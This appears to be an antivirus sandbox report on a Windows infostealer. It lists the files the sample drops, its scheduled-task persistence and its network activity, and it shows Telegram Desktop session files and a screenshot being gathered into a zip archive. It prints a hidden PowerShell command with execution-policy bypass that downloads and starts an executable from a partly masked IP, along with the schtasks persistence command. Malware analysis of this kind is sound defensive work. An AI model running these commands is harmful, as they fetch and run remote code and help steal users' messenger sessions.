Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\updates\alfersyvoyi
Malicious functions
Downloads and executes
- http://10#.#5.131.240/msb/msb.exe as %appdata%\msb.exe
Injects code into
the following user processes:
- msb.exe
Modifies file system
Creates the following files
- %TEMP%\abctfhghghghghВЈ.sct
- %APPDATA%\msb.exe
- %APPDATA%\alfersyvoyi.exe
- %TEMP%\tmp5aca.tmp
- %TEMP%\276d5b569d\log.txt
- %TEMP%\276d5b569d\screenshot.jpeg
- %TEMP%\276d5b569d\telegram desktop\tdata\90ef50e22e92cb8c0
- %TEMP%\276d5b569d\telegram desktop\tdata\d877f783d5d3ef8c1
- %TEMP%\276d5b569d\telegram desktop\tdata\prefix
- %TEMP%\276d5b569d\telegram desktop\tdata\settings0
- %TEMP%\276d5b569d\telegram desktop\tdata\shortcuts-custom.json
- %TEMP%\276d5b569d\telegram desktop\tdata\shortcuts-default.json
- %TEMP%\276d5b569d\telegram desktop\tdata\usertag
- %TEMP%\276d5b569d\telegram desktop\tdata\d877f783d5d3ef8c\map0
- %TEMP%\276d5b569d\dotnetzip-0gzfzurx.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\alfersyvoyi.exe
Deletes the following files
- %TEMP%\tmp5aca.tmp
- %TEMP%\276d5b569d\log.txt
- %TEMP%\276d5b569d\screenshot.jpeg
- %TEMP%\276d5b569d\telegram desktop\tdata\90ef50e22e92cb8c0
- %TEMP%\276d5b569d\telegram desktop\tdata\d877f783d5d3ef8c\map0
- %TEMP%\276d5b569d\telegram desktop\tdata\d877f783d5d3ef8c1
- %TEMP%\276d5b569d\telegram desktop\tdata\prefix
- %TEMP%\276d5b569d\telegram desktop\tdata\settings0
- %TEMP%\276d5b569d\telegram desktop\tdata\shortcuts-custom.json
- %TEMP%\276d5b569d\telegram desktop\tdata\shortcuts-default.json
- %TEMP%\276d5b569d\telegram desktop\tdata\usertag
- %TEMP%\276d5b569d\user_united states_276d5b569d_05-20-2020 20.47.0.zip
Moves the following files
- from %TEMP%\276d5b569d\dotnetzip-0gzfzurx.tmp to %TEMP%\276d5b569d\user_united states_276d5b569d_05-20-2020 20.47.0.zip
Network activity
TCP
HTTP GET requests
- http://10#.#5.131.240/msb/msb.exe
- http://ap#.#pify.org/
UDP
- DNS ASK ap#.#pify.org
- DNS ASK sm##.##anokwanfood.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\msb.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://10#.#5.131.240/msb/msb.exe','%APPDATA%\msb.exe');Start-Process '%APPDA...' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\AlFERSYVoYi" /XML "%TEMP%\tmp5ACA.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\AlFERSYVoYi" /XML "%TEMP%\tmp5ACA.tmp"
